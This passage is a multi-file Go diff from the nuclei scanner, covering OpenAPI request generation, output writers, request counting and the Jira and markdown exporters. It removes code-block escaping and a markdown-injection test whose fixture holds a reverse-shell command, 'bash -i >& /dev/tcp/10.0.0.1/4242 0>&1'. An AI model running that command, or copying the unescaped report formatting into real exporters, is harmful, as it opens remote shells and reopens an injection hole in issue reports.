if err != nil {
return nil, err
}
} else {
cfg, err = config.LoadDefaultConfig(ctx)
if err != nil {
return nil, err
}
func getS3Client(ctx context.Context, accessKey string, secretKey string, region string) (*s3.Client, error) {
cfg, err := config.LoadDefaultConfig(ctx, config.WithCredentialsProvider(credentials.NewStaticCredentialsProvider(accessKey, secretKey, "")), config.WithRegion(region))
if err != nil {
return nil, err
}
return s3.NewFromConfig(cfg), nil
}
+1 -1
View File
@@ -133,7 +133,7 @@ func (rule *Rule) executePartComponentOnKV(input *ExecuteRuleInput, payload Valu
}
if qerr := rule.execWithInput(input, req, input.InteractURLs, ruleComponent, key, value, "", "", "", ""); qerr != nil {
return qerr
return err
}
// after building change back to original value to avoid repeating it in furthur requests
+7 -32
View File
@@ -2,7 +2,6 @@ package openapi
import (
"fmt"
"slices"
"github.com/getkin/kin-openapi/openapi3"
"github.com/pkg/errors"
@@ -85,7 +84,13 @@ func excludeFromMode(schema *openapi3.Schema) bool {
// isRequired checks whether a key is actually required.
func isRequired(schema *openapi3.Schema, key string) bool {
return slices.Contains(schema.Required, key)
for _, req := range schema.Required {
if req == key {
return true
}
}
return false
}
type cachedSchema struct {
@@ -283,33 +288,3 @@ func openAPIExample(schema *openapi3.Schema, cache map[*openapi3.Schema]*cachedS
func generateExampleFromSchema(schema *openapi3.Schema) (interface{}, error) {
return openAPIExample(schema, make(map[*openapi3.Schema]*cachedSchema)) // TODO: Use caching
}
func generateEmptySchemaValue(contentType string) *openapi3.Schema {
schema := &openapi3.Schema{}
objectType := &openapi3.Types{"object"}
stringType := &openapi3.Types{"string"}
switch contentType {
case "application/json":
schema.Type = objectType
schema.Properties = make(map[string]*openapi3.SchemaRef)
case "application/xml":
schema.Type = stringType
schema.Format = "xml"
schema.Example = "<?xml version=\"1.0\"?><root/>"
case "text/plain":
schema.Type = stringType
case "application/x-www-form-urlencoded":
schema.Type = objectType
schema.Properties = make(map[string]*openapi3.SchemaRef)
case "multipart/form-data":
schema.Type = objectType
schema.Properties = make(map[string]*openapi3.SchemaRef)
case "application/octet-stream":
default:
schema.Type = stringType
schema.Format = "binary"
}
return schema
}
+10 -18
View File
@@ -268,32 +268,24 @@ func generateRequestsFromOp(opts *generateReqOptions) error {
for content, value := range opts.op.RequestBody.Value.Content {
cloned := req.Clone(req.Context())
var val interface{}
if value.Schema == nil || value.Schema.Value == nil {
val = generateEmptySchemaValue(content)
} else {
var err error
val, err = generateExampleFromSchema(value.Schema.Value)
if err != nil {
continue
}
example, err := generateExampleFromSchema(value.Schema.Value)
if err != nil {
continue
}
// var body string
switch content {
case "application/json":
if marshalled, err := json.Marshal(val); err == nil {
if marshalled, err := json.Marshal(example); err == nil {
// body = string(marshalled)
cloned.Body = io.NopCloser(bytes.NewReader(marshalled))
cloned.ContentLength = int64(len(marshalled))
cloned.Header.Set("Content-Type", "application/json")
}
case "application/xml":
values := mxj.Map(val.(map[string]interface{}))
exampleVal := mxj.Map(example.(map[string]interface{}))
if marshalled, err := values.Xml(); err == nil {
if marshalled, err := exampleVal.Xml(); err == nil {
// body = string(marshalled)
cloned.Body = io.NopCloser(bytes.NewReader(marshalled))
cloned.ContentLength = int64(len(marshalled))
@@ -302,7 +294,7 @@ func generateRequestsFromOp(opts *generateReqOptions) error {
gologger.Warning().Msgf("openapi: could not encode xml")
}
case "application/x-www-form-urlencoded":
if values, ok := val.(map[string]interface{}); ok {
if values, ok := example.(map[string]interface{}); ok {
cloned.Form = url.Values{}
for k, v := range values {
cloned.Form.Set(k, types.ToString(v))
@@ -314,7 +306,7 @@ func generateRequestsFromOp(opts *generateReqOptions) error {
cloned.Header.Set("Content-Type", "application/x-www-form-urlencoded")
}
case "multipart/form-data":
if values, ok := val.(map[string]interface{}); ok {
if values, ok := example.(map[string]interface{}); ok {
buffer := &bytes.Buffer{}
multipartWriter := multipart.NewWriter(buffer)
for k, v := range values {
@@ -334,13 +326,13 @@ func generateRequestsFromOp(opts *generateReqOptions) error {
cloned.Header.Set("Content-Type", multipartWriter.FormDataContentType())
}
case "text/plain":
str := types.ToString(val)
str := types.ToString(example)
// body = str
cloned.Body = io.NopCloser(strings.NewReader(str))
cloned.ContentLength = int64(len(str))
cloned.Header.Set("Content-Type", "text/plain")
case "application/octet-stream":
str := types.ToString(val)
str := types.ToString(example)
if str == "" {
// use two strings
str = "string1\nstring2"
-28
View File
@@ -63,33 +63,5 @@ export class MSSQLClient {
}
/**
* ExecuteQuery connects to MS SQL database using given credentials and executes a query.
* It returns the results of the query or an error if something goes wrong.
* @example
* ```javascript
* const mssql = require('nuclei/mssql');
* const client = new mssql.MSSQLClient;
* const result = client.ExecuteQuery('acme.com', 1433, 'username', 'password', 'master', 'SELECT @@version');
* log(to_json(result));
* ```
*/
public ExecuteQuery(host: string, port: number, username: string): SQLResult | null | null {
return null;
}
}
/**
* SQLResult Interface
*/
export interface SQLResult {
Count?: number,
Columns?: string[],
}
-32
View File
@@ -321,38 +321,6 @@ func (c *Client) CollectMetadata() Metadata {
return metadata
}
// GetVersion returns the LDAP versions being used by the server
// @example
// ```javascript
// const ldap = require('nuclei/ldap');
// const client = new ldap.Client('ldap://ldap.example.com', 'acme.com');
// const versions = client.GetVersion();
// log(versions);
// ```
func (c *Client) GetVersion() []string {
c.nj.Require(c.conn != nil, "no existing connection")
// Query root DSE for supported LDAP versions
sr := ldap.NewSearchRequest(
"",
ldap.ScopeBaseObject,
ldap.NeverDerefAliases,
0, 0, false,
"(objectClass=*)",
[]string{"supportedLDAPVersion"},
nil)
res, err := c.conn.Search(sr)
c.nj.HandleError(err, "failed to get LDAP version")
if len(res.Entries) > 0 {
return res.Entries[0].GetAttributeValues("supportedLDAPVersion")
}
return []string{"unknown"}
}
// close the ldap connection
// @example
// ```javascript
-59
View File
@@ -11,7 +11,6 @@ import (
_ "github.com/microsoft/go-mssqldb"
"github.com/praetorian-inc/fingerprintx/pkg/plugins/services/mssql"
"github.com/projectdiscovery/nuclei/v3/pkg/js/utils"
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate"
)
@@ -133,61 +132,3 @@ func isMssql(host string, port int) (bool, error) {
}
return false, nil
}
// ExecuteQuery connects to MS SQL database using given credentials and executes a query.
// It returns the results of the query or an error if something goes wrong.
// @example
// ```javascript
// const mssql = require('nuclei/mssql');
// const client = new mssql.MSSQLClient;
// const result = client.ExecuteQuery('acme.com', 1433, 'username', 'password', 'master', 'SELECT @@version');
// log(to_json(result));
// ```
func (c *MSSQLClient) ExecuteQuery(host string, port int, username, password, dbName, query string) (*utils.SQLResult, error) {
if host == "" || port <= 0 {
return nil, fmt.Errorf("invalid host or port")
}
if !protocolstate.IsHostAllowed(host) {
// host is not valid according to network policy
return nil, protocolstate.ErrHostDenied.Msgf(host)
}
target := net.JoinHostPort(host, fmt.Sprintf("%d", port))
ok, err := c.IsMssql(host, port)
if err != nil {
return nil, err
}
if !ok {
return nil, fmt.Errorf("not a mssql service")
}
connString := fmt.Sprintf("sqlserver://%s:%s@%s?database=%s&connection+timeout=30",
url.PathEscape(username),
url.PathEscape(password),
target,
dbName)
db, err := sql.Open("sqlserver", connString)
if err != nil {
return nil, err
}
defer db.Close()
db.SetMaxOpenConns(1)
db.SetMaxIdleConns(0)
rows, err := db.Query(query)
if err != nil {
return nil, err
}
data, err := utils.UnmarshalSQLRows(rows)
if err != nil {
if data != nil && len(data.Rows) > 0 {
return data, nil
}
return nil, err
}
return data, nil
}
-10
View File
@@ -65,13 +65,3 @@ func (mw *MultiWriter) RequestStatsLog(statusCode, response string) {
writer.RequestStatsLog(statusCode, response)
}
}
func (mw *MultiWriter) ResultCount() int {
count := 0
for _, writer := range mw.writers {
if count := writer.ResultCount(); count > 0 {
return count
}
}
return count
}
+1 -15
View File
@@ -54,8 +54,6 @@ type Writer interface {
RequestStatsLog(statusCode, response string)
// WriteStoreDebugData writes the request/response debug data to file
WriteStoreDebugData(host, templateID, eventType string, data string)
// ResultCount returns the total number of results written
ResultCount() int
}
// StandardWriter is a writer writing output to file and screen for results.
@@ -81,8 +79,6 @@ type StandardWriter struct {
// JSONLogRequestHook is a hook that can be used to log request/response
// when using custom server code with output
JSONLogRequestHook func(*JSONLogRequest)
resultCount atomic.Int32
}
var _ Writer = &StandardWriter{}
@@ -283,18 +279,9 @@ func NewStandardWriter(options *types.Options) (*StandardWriter, error) {
omitTemplate: options.OmitTemplate,
KeysToRedact: options.Redact,
}
if v := os.Getenv("DISABLE_STDOUT"); v == "true" || v == "1" {
writer.DisableStdout = true
}
return writer, nil
}
func (w *StandardWriter) ResultCount() int {
return int(w.resultCount.Load())
}
// Write writes the event to file and/or screen.
func (w *StandardWriter) Write(event *ResultEvent) error {
// Enrich the result event with extra metadata on the template-path and url.
@@ -338,13 +325,12 @@ func (w *StandardWriter) Write(event *ResultEvent) error {
data = decolorizerRegex.ReplaceAll(data, []byte(""))
}
if _, writeErr := w.outputFile.Write(data); writeErr != nil {
return errors.Wrap(writeErr, "could not write to output")
return errors.Wrap(err, "could not write to output")
}
if w.AddNewLinesOutputFile && w.json {
_, _ = w.outputFile.Write([]byte("\n"))
}
}
w.resultCount.Add(1)
return nil
}
-3
View File
@@ -49,6 +49,3 @@ func (tw *StatsOutputWriter) RequestStatsLog(statusCode, response string) {
tw.Tracker.TrackStatusCode(statusCode)
tw.Tracker.TrackWAFDetected(response)
}
func (tw *StatsOutputWriter) ResultCount() int {
return 0
}
+8 -10
View File
@@ -105,16 +105,14 @@ func (t *Tracker) GetStats() *StatsOutput {
func (t *Tracker) DisplayTopStats(noColor bool) {
stats := t.GetStats()
if len(stats.StatusCodeStats) > 0 {
fmt.Printf("\n%s\n", aurora.Bold(aurora.Blue("Top Status Codes:")))
topStatusCodes := getTopN(stats.StatusCodeStats, 6)
for _, item := range topStatusCodes {
if noColor {
fmt.Printf(" %s: %d\n", item.Key, item.Value)
} else {
color := getStatusCodeColor(item.Key)
fmt.Printf(" %s: %d\n", aurora.Colorize(item.Key, color), item.Value)
}
fmt.Printf("\n%s\n", aurora.Bold(aurora.Blue("Top Status Codes:")))
topStatusCodes := getTopN(stats.StatusCodeStats, 6)
for _, item := range topStatusCodes {
if noColor {
fmt.Printf(" %s: %d\n", item.Key, item.Value)
} else {
color := getStatusCodeColor(item.Key)
fmt.Printf(" %s: %d\n", aurora.Colorize(item.Key, color), item.Value)
}
}
+3 -1
View File
@@ -120,7 +120,9 @@ func (p *StatsTicker) IncrementRequests() {
// SetRequests sets the counter by incrementing it with a delta
func (p *StatsTicker) SetRequests(count uint64) {
p.stats.IncrementCounter("requests", int(count))
value, _ := p.stats.GetCounter("requests")
delta := count - value
p.stats.IncrementCounter("requests", int(delta))
}
// IncrementMatched increments the matched counter by 1.
@@ -89,9 +89,6 @@ func (c *Cache) NormalizeCacheValue(value string) string {
u, err := url.ParseRequestURI(value)
if err != nil || u.Host == "" {
if strings.Contains(value, ":") {
return normalizedValue
}
u, err2 := url.ParseRequestURI("https://" + value)
if err2 != nil {
return normalizedValue
@@ -239,19 +236,14 @@ func (c *Cache) GetKeyFromContext(ctx *contextargs.Context, err error) string {
// should be reflected in contextargs but it is not yet reflected in some cases
// and needs refactor of ScanContext + ContextArgs to achieve that
// i.e why we use real address from error if present
var address string
// 1. the address carried inside the error (if the transport sets it)
address := ctx.MetaInput.Address()
// get address override from error
if err != nil {
if v := errkit.GetAttrValue(err, "address"); v.Any() != nil {
address = v.String()
tmp := errkit.GetAttrValue(err, "address")
if tmp.Any() != nil {
address = tmp.String()
}
}
if address == "" {
address = ctx.MetaInput.Address()
}
finalValue := c.NormalizeCacheValue(address)
return finalValue
}
+9 -7
View File
@@ -15,15 +15,16 @@ import (
"github.com/projectdiscovery/nuclei/v3/pkg/types"
fileutil "github.com/projectdiscovery/utils/file"
osutils "github.com/projectdiscovery/utils/os"
processutil "github.com/projectdiscovery/utils/process"
)
// Browser is a browser structure for nuclei headless module
type Browser struct {
customAgent string
tempDir string
engine *rod.Browser
options *types.Options
launcher *launcher.Launcher
customAgent string
tempDir string
previousPIDs map[int32]struct{} // track already running PIDs
engine *rod.Browser
options *types.Options
// use getHTTPClient to get the http client
httpClient *http.Client
httpClientOnce *sync.Once
@@ -35,6 +36,7 @@ func New(options *types.Options) (*Browser, error) {
if err != nil {
return nil, errors.Wrap(err, "could not create temporary directory")
}
previousPIDs := processutil.FindProcesses(processutil.IsChromeProcess)
chromeLauncher := launcher.New().
Leakless(false).
@@ -108,8 +110,8 @@ func New(options *types.Options) (*Browser, error) {
engine: browser,
options: options,
httpClientOnce: &sync.Once{},
launcher: chromeLauncher,
}
engine.previousPIDs = previousPIDs
return engine, nil
}
@@ -141,6 +143,6 @@ func (b *Browser) getHTTPClient() (*http.Client, error) {
// Close closes the browser engine
func (b *Browser) Close() {
b.engine.Close()
b.launcher.Kill()
os.RemoveAll(b.tempDir)
processutil.CloseProcesses(processutil.IsChromeProcess, b.previousPIDs)
}
+8
View File
@@ -123,6 +123,14 @@ func (g *generatedRequest) URL() string {
return ""
}
// Total returns the total number of requests for the generator
func (r *requestGenerator) Total() int {
if r.payloadIterator != nil {
return len(r.request.Raw) * r.payloadIterator.Remaining()
}
return len(r.request.Path)
}
// Make creates a http request for the provided input.
// It returns ErrNoMoreRequests as error when all the requests have been exhausted.
func (r *requestGenerator) Make(ctx context.Context, input *contextargs.Context, reqData string, payloads, dynamicValues map[string]interface{}) (gr *generatedRequest, err error) {
+19 -2
View File
@@ -501,6 +501,7 @@ func (request *Request) Compile(options *protocols.ExecutorOptions) error {
request.Threads = options.GetThreadsForNPayloadRequests(request.Requests(), request.Threads)
}
}
return nil
}
@@ -516,8 +517,24 @@ func (request *Request) RebuildGenerator() error {
// Requests returns the total number of requests the YAML rule will perform
func (request *Request) Requests() int {
generator := request.newGenerator(false)
return generator.Total()
if request.generator != nil {
payloadRequests := request.generator.NewIterator().Total()
if len(request.Raw) > 0 {
payloadRequests = payloadRequests * len(request.Raw)
}
if len(request.Path) > 0 {
payloadRequests = payloadRequests * len(request.Path)
}
return payloadRequests
}
if len(request.Raw) > 0 {
requests := len(request.Raw)
if requests == 1 && request.RaceNumberRequests != 0 {
requests *= request.RaceNumberRequests
}
return requests
}
return len(request.Path)
}
const (
@@ -307,14 +307,6 @@ func wrappedGet(options *types.Options, configuration *Configuration) (*retryabl
if err != nil {
return nil, err
}
if tlsConfig.ServerName == "" {
// addr should be in form of host:port already set from canonicalAddr
host, _, err := net.SplitHostPort(addr)
if err != nil {
return nil, err
}
tlsConfig.ServerName = host
}
return tls.Client(conn, tlsConfig), nil
}
}
+5 -9
View File
@@ -41,6 +41,7 @@ import (
"github.com/projectdiscovery/rawhttp"
convUtil "github.com/projectdiscovery/utils/conversion"
"github.com/projectdiscovery/utils/errkit"
errorutil "github.com/projectdiscovery/utils/errors"
httpUtils "github.com/projectdiscovery/utils/http"
"github.com/projectdiscovery/utils/reader"
sliceutil "github.com/projectdiscovery/utils/slice"
@@ -483,6 +484,7 @@ func (request *Request) ExecuteWithResults(input *contextargs.Context, dynamicVa
if err == types.ErrNoMoreRequests {
return true, nil
}
request.options.Progress.IncrementFailedRequestsBy(int64(generator.Total()))
return true, err
}
// ideally if http template used a custom port or hostname
@@ -539,19 +541,14 @@ func (request *Request) ExecuteWithResults(input *contextargs.Context, dynamicVa
if errors.Is(execReqErr, ErrMissingVars) {
return true, nil
}
if execReqErr != nil {
request.markHostError(updatedInput, execReqErr)
// if applicable mark the host as unresponsive
reqKitErr := errkit.FromError(execReqErr)
reqKitErr.Msgf("got err while executing %v", generatedHttpRequest.URL())
requestErr = reqKitErr
requestErr = errorutil.NewWithErr(execReqErr).Msgf("got err while executing %v", generatedHttpRequest.URL())
request.options.Progress.IncrementFailedRequestsBy(1)
} else {
request.options.Progress.IncrementRequests()
}
request.markHostError(updatedInput, execReqErr)
// If this was a match, and we want to stop at first match, skip all further requests.
shouldStopAtFirstMatch := generatedHttpRequest.original.options.Options.StopAtFirstMatch || generatedHttpRequest.original.options.StopAtFirstMatch || request.StopAtFirstMatch
@@ -588,7 +585,6 @@ func (request *Request) ExecuteWithResults(input *contextargs.Context, dynamicVa
requestErr = gotErr
}
if skip || gotErr != nil {
request.options.Progress.SetRequests(uint64(generator.Remaining() + 1))
break
}
}
@@ -1216,7 +1212,7 @@ func (request *Request) newContext(input *contextargs.Context) context.Context {
// markHostError checks if the error is a unreponsive host error and marks it
func (request *Request) markHostError(input *contextargs.Context, err error) {
if request.options.HostErrorsCache != nil && err != nil {
if request.options.HostErrorsCache != nil {
request.options.HostErrorsCache.MarkFailedOrRemove(request.options.ProtocolType.String(), input, err)
}
}
+6 -2
View File
@@ -2,7 +2,6 @@ package http
import (
"regexp"
"slices"
)
var (
@@ -33,5 +32,10 @@ func (request *Request) NeedsRequestCondition() bool {
}
func checkRequestConditionExpressions(expressions ...string) bool {
return slices.ContainsFunc(expressions, reRequestCondition.MatchString)
for _, expression := range expressions {
if reRequestCondition.MatchString(expression) {
return true
}
}
return false
}
-8
View File
@@ -62,7 +62,6 @@ func (request *Request) executeFuzzingRule(input *contextargs.Context, previous
if err != nil {
return errors.Wrap(err, "fuzz: could not build request obtained from target file")
}
request.addHeadersToRequest(baseRequest)
input.MetaInput.Input = baseRequest.URL.String()
// execute with one value first to checks its applicability
err = request.executeAllFuzzingRules(input, previous, baseRequest, callback)
@@ -95,7 +94,6 @@ func (request *Request) executeFuzzingRule(input *contextargs.Context, previous
}
userAgent := useragent.PickRandom()
baseRequest.Header.Set("User-Agent", userAgent.Raw)
request.addHeadersToRequest(baseRequest)
// execute with one value first to checks its applicability
err = request.executeAllFuzzingRules(inputx, previous, baseRequest, callback)
@@ -114,12 +112,6 @@ func (request *Request) executeFuzzingRule(input *contextargs.Context, previous
return nil
}
func (request *Request) addHeadersToRequest(baseRequest *retryablehttp.Request) {
for k, v := range request.Headers {
baseRequest.Header.Set(k, v)
}
}
// executeAllFuzzingRules executes all fuzzing rules defined in template for a given base request
func (request *Request) executeAllFuzzingRules(input *contextargs.Context, values map[string]interface{}, baseRequest *retryablehttp.Request, callback protocols.OutputEventCallback) error {
applicable := false
-64
View File
@@ -135,67 +135,3 @@ func (r *requestGenerator) hasMarker(request string, mark flowMark) bool {
fo, hasOverrides := parseFlowAnnotations(request)
return hasOverrides && fo == mark
}
// Remaining returns the number of requests that are still left to be
// generated (and therefore to be sent) by this generator.
func (r *requestGenerator) Remaining() int {
var sequence []string
switch {
case len(r.request.Path) > 0:
sequence = r.request.Path
case len(r.request.Raw) > 0:
sequence = r.request.Raw
default:
return 0
}
remainingInCurrentPass := 0
for i := r.currentIndex; i < len(sequence); i++ {
if !r.hasMarker(sequence[i], Once) {
remainingInCurrentPass++
}
}
if r.payloadIterator == nil {
return remainingInCurrentPass
}
numRemainingPayloadSets := r.payloadIterator.Remaining()
totalValidInSequence := 0
for _, req := range sequence {
if !r.hasMarker(req, Once) {
totalValidInSequence++
}
}
// Total remaining = remaining in current pass + (remaining payload sets * requests per full pass)
return remainingInCurrentPass + numRemainingPayloadSets*totalValidInSequence
}
func (r *requestGenerator) Total() int {
var sequence []string
switch {
case len(r.request.Path) > 0:
sequence = r.request.Path
case len(r.request.Raw) > 0:
sequence = r.request.Raw
default:
return 0
}
applicableRequests := 0
additionalRequests := 0
for _, request := range sequence {
if !r.hasMarker(request, Once) {
applicableRequests++
} else {
additionalRequests++
}
}
if r.payloadIterator == nil {
return applicableRequests + additionalRequests
}
return (applicableRequests * r.payloadIterator.Total()) + additionalRequests
}
+5 -17
View File
@@ -315,19 +315,6 @@ func (request *Request) ExecuteWithResults(target *contextargs.Context, dynamicV
values := generators.MergeMaps(payloadValues, hostnameVariables, request.options.Constants, templateCtx.GetAll())
variablesMap := request.options.Variables.Evaluate(values)
payloadValues = generators.MergeMaps(variablesMap, payloadValues, request.options.Constants, hostnameVariables)
var interactshURLs []string
if request.options.Interactsh != nil {
for payloadName, payloadValue := range payloadValues {
var urls []string
payloadValue, urls = request.options.Interactsh.Replace(types.ToString(payloadValue), interactshURLs)
if len(urls) > 0 {
interactshURLs = append(interactshURLs, urls...)
payloadValues[payloadName] = payloadValue
}
}
}
// export all variables to template context
templateCtx.Merge(payloadValues)
@@ -417,7 +404,7 @@ func (request *Request) ExecuteWithResults(target *contextargs.Context, dynamicV
request.options.Progress.IncrementMatched()
}
callback(result)
}, requestOptions, interactshURLs); err != nil {
}, requestOptions); err != nil {
if errkit.IsNetworkPermanentErr(err) {
// gologger.Verbose().Msgf("Could not execute request: %s\n", err)
return err
@@ -430,7 +417,7 @@ func (request *Request) ExecuteWithResults(target *contextargs.Context, dynamicV
}
}
}
return request.executeRequestWithPayloads(hostPort, input, hostname, nil, payloadValues, callback, requestOptions, interactshURLs)
return request.executeRequestWithPayloads(hostPort, input, hostname, nil, payloadValues, callback, requestOptions)
}
func (request *Request) executeRequestParallel(ctxParent context.Context, hostPort, hostname string, input *contextargs.Context, payloadValues map[string]interface{}, callback protocols.OutputEventCallback) {
@@ -482,7 +469,7 @@ func (request *Request) executeRequestParallel(ctxParent context.Context, hostPo
gotmatches.Store(true)
}
callback(result)
}, requestOptions, []string{}); err != nil {
}, requestOptions); err != nil {
if errkit.IsNetworkPermanentErr(err) {
cancel(err)
return
@@ -503,7 +490,7 @@ func (request *Request) executeRequestParallel(ctxParent context.Context, hostPo
}
}
func (request *Request) executeRequestWithPayloads(hostPort string, input *contextargs.Context, _ string, payload map[string]interface{}, previous output.InternalEvent, callback protocols.OutputEventCallback, requestOptions *protocols.ExecutorOptions, interactshURLs []string) error {
func (request *Request) executeRequestWithPayloads(hostPort string, input *contextargs.Context, _ string, payload map[string]interface{}, previous output.InternalEvent, callback protocols.OutputEventCallback, requestOptions *protocols.ExecutorOptions) error {
payloadValues := generators.MergeMaps(payload, previous)
argsCopy, err := request.getArgsCopy(input, payloadValues, requestOptions, false)
if err != nil {
@@ -515,6 +502,7 @@ func (request *Request) executeRequestWithPayloads(hostPort string, input *conte
argsCopy.TemplateCtx = map[string]interface{}{}
}
var interactshURLs []string
if request.options.Interactsh != nil {
if argsCopy.Args != nil {
for k, v := range argsCopy.Args {
-4
View File
@@ -259,7 +259,3 @@ func (request *Request) Compile(options *protocols.ExecutorOptions) error {
func (request *Request) Requests() int {
return len(request.Address)
}
func (request *Request) SetDialer(dialer *fastdialer.Dialer) {
request.dialer = dialer
}
-3
View File
@@ -77,9 +77,6 @@ func (request *Request) Extract(data map[string]interface{}, extractor *extracto
// getMatchPart returns the match part honoring "all" matchers + others.
func getMatchPart(part string, data output.InternalEvent) (string, bool) {
if part == "" {
part = "body"
}
if part == "header" {
part = "all_headers"
}
+1 -1
View File
@@ -48,7 +48,7 @@ func CalculateContentLength(contentLength, bodyLength int64) int64 {
return bodyLength
}
// HeadersToString converts http headers to string
// headersToString converts http headers to string
func HeadersToString(headers http.Header) string {
builder := &strings.Builder{}
@@ -2,7 +2,6 @@ package util
import (
"fmt"
"strings"
)
type MarkdownFormatter struct{}
@@ -12,8 +11,7 @@ func (markdownFormatter MarkdownFormatter) MakeBold(text string) string {
}
func (markdownFormatter MarkdownFormatter) CreateCodeBlock(title string, content string, language string) string {
escapedContent := escapeCodeBlockMarkdown(content)
return fmt.Sprintf("\n%s\n```%s\n%s\n```\n", markdownFormatter.MakeBold(title), language, escapedContent)
return fmt.Sprintf("\n%s\n```%s\n%s\n```\n", markdownFormatter.MakeBold(title), language, content)
}
func (markdownFormatter MarkdownFormatter) CreateTable(headers []string, rows [][]string) (string, error) {
@@ -27,20 +25,3 @@ func (markdownFormatter MarkdownFormatter) CreateLink(title string, url string)
func (markdownFormatter MarkdownFormatter) CreateHorizontalLine() string {
return CreateHorizontalLine()
}
// escapeCodeBlockMarkdown only escapes the bare minimum characters needed
// for code blocks and other sections where readability is important
//
// For content inside code blocks, we only need to escape backticks
// and backslashes to prevent breaking out
func escapeCodeBlockMarkdown(text string) string {
minimalChars := []string{
"\\", "`",
}
result := text
for _, char := range minimalChars {
result = strings.ReplaceAll(result, char, "\\"+char)
}
return result
}
@@ -89,54 +89,3 @@ func TestCreateTemplateInfoTable3Columns(t *testing.T) {
require.Nil(t, err)
require.Equal(t, expected, table)
}
func TestEscapeCodeBlockMarkdown(t *testing.T) {
testCases := []struct {
name string
input string
expected string
}{
{
name: "no special characters",
input: "normal text without special chars",
expected: "normal text without special chars",
},
{
name: "with backticks",
input: "text with `backticks` inside",
expected: "text with \\`backticks\\` inside",
},
{
name: "with backslashes",
input: "text with \\ backslash",
expected: "text with \\\\ backslash",
},
{
name: "with both backticks and backslashes",
input: "text with `backticks` and \\ backslash",
expected: "text with \\`backticks\\` and \\\\ backslash",
},
{
name: "with code block",
input: "```code block```",
expected: "\\`\\`\\`code block\\`\\`\\`",
},
{
name: "with escaped backtick",
input: "escaped \\` backtick",
expected: "escaped \\\\\\` backtick",
},
{
name: "with multiple consecutive backticks",
input: "``double backticks``",
expected: "\\`\\`double backticks\\`\\`",
},
}
for _, tc := range testCases {
t.Run(tc.name, func(t *testing.T) {
result := escapeCodeBlockMarkdown(tc.input)
require.Equal(t, tc.expected, result, "Failed to properly escape markdown for code blocks")
})
}
}
-27
View File
@@ -1,14 +1,12 @@
package format
import (
"fmt"
"strings"
"testing"
"github.com/projectdiscovery/nuclei/v3/pkg/model"
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity"
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice"
"github.com/projectdiscovery/nuclei/v3/pkg/output"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/markdown/util"
"github.com/stretchr/testify/require"
)
@@ -48,28 +46,3 @@ func TestToMarkdownTableString(t *testing.T) {
require.Equal(t, strings.Split(expectedOrderedAttributes, "\n"), actualAttributeSlice[:dynamicAttributeIndex]) // the first part of the result is ordered
require.ElementsMatch(t, expectedDynamicAttributes, actualAttributeSlice[dynamicAttributeIndex:]) // dynamic parameters are not ordered
}
func TestCreateReportDescription_MarkdownInjection(t *testing.T) {
// Setup a mock result event with malicious payload in various fields
event := &output.ResultEvent{
TemplateID: "test-template",
Host: "example.com",
Matched: "https://example.com/vulnerable",
Type: "http",
Info: model.Info{
Name: "Test Template",
Authors: stringslice.StringSlice{Value: []string{"researcher"}},
SeverityHolder: severity.Holder{Severity: severity.High},
Tags: stringslice.StringSlice{Value: []string{"test"}},
},
Request: "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n",
Response: "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n<html><body>Hello, world\r\n\r\n```\r\n\r\nReferences:\r\n- https://rce.ee/pwned\r\n\r\n**CURL command**\r\n```sh\r\nbash -i >& /dev/tcp/10.0.0.1/4242 0>&1\r\n```\r\n</body></html>",
CURLCommand: "curl -X GET https://example.com",
}
result := CreateReportDescription(event, &util.MarkdownFormatter{}, false)
fmt.Println(result)
require.NotContains(t, result, "```\r\n\r\nReferences:\r\n- https://rce.ee/pwned")
require.NotContains(t, result, "```sh\r\nbash -i >& /dev/tcp")
}
+2 -3
View File
@@ -2,12 +2,11 @@ package reporting
import (
"fmt"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/mongo"
"os"
"strings"
"sync/atomic"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/mongo"
"github.com/projectdiscovery/gologger"
"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config"
json_exporter "github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonexporter"
@@ -330,7 +329,7 @@ func (c *ReportingClient) CreateIssue(event *output.ResultEvent) error {
// CloseIssue closes an issue in the tracker
func (c *ReportingClient) CloseIssue(event *output.ResultEvent) error {
for _, tracker := range c.trackers {
if !tracker.ShouldFilter(event) {
if tracker.ShouldFilter(event) {
continue
}
if err := tracker.CloseIssue(event); err != nil {
+14 -36
View File
@@ -3,7 +3,6 @@ package jira
import (
"fmt"
"io"
"net/http"
"net/url"
"strings"
"sync"
@@ -30,8 +29,7 @@ func (jiraFormatter *Formatter) MakeBold(text string) string {
}
func (jiraFormatter *Formatter) CreateCodeBlock(title string, content string, _ string) string {
escapedContent := strings.ReplaceAll(content, "{code}", "")
return fmt.Sprintf("\n%s\n{code}\n%s\n{code}\n", jiraFormatter.MakeBold(title), escapedContent)
return fmt.Sprintf("\n%s\n{code}\n%s\n{code}\n", jiraFormatter.MakeBold(title), content)
}
func (jiraFormatter *Formatter) CreateTable(headers []string, rows [][]string) (string, error) {
@@ -69,12 +67,9 @@ type Options struct {
// AccountID is the accountID of the jira user.
AccountID string `yaml:"account-id" json:"account_id" validate:"required"`
// Email is the email of the user for jira instance
Email string `yaml:"email" json:"email"`
// PersonalAccessToken is the personal access token for jira instance.
// If this is set, Bearer Auth is used instead of Basic Auth.
PersonalAccessToken string `yaml:"personal-access-token" json:"personal_access_token"`
Email string `yaml:"email" json:"email" validate:"required,email"`
// Token is the token for jira instance.
Token string `yaml:"token" json:"token"`
Token string `yaml:"token" json:"token" validate:"required"`
// ProjectName is the name of the project.
ProjectName string `yaml:"project-name" json:"project_name"`
// ProjectID is the ID of the project (optional)
@@ -107,28 +102,14 @@ func New(options *Options) (*Integration, error) {
if !options.Cloud {
username = options.AccountID
}
var httpclient *http.Client
if options.PersonalAccessToken != "" {
bearerTp := jira.BearerAuthTransport{
Token: options.PersonalAccessToken,
}
if options.HttpClient != nil {
bearerTp.Transport = options.HttpClient.HTTPClient.Transport
}
httpclient = bearerTp.Client()
} else {
basicTp := jira.BasicAuthTransport{
Username: username,
Password: options.Token,
}
if options.HttpClient != nil {
basicTp.Transport = options.HttpClient.HTTPClient.Transport
}
httpclient = basicTp.Client()
tp := jira.BasicAuthTransport{
Username: username,
Password: options.Token,
}
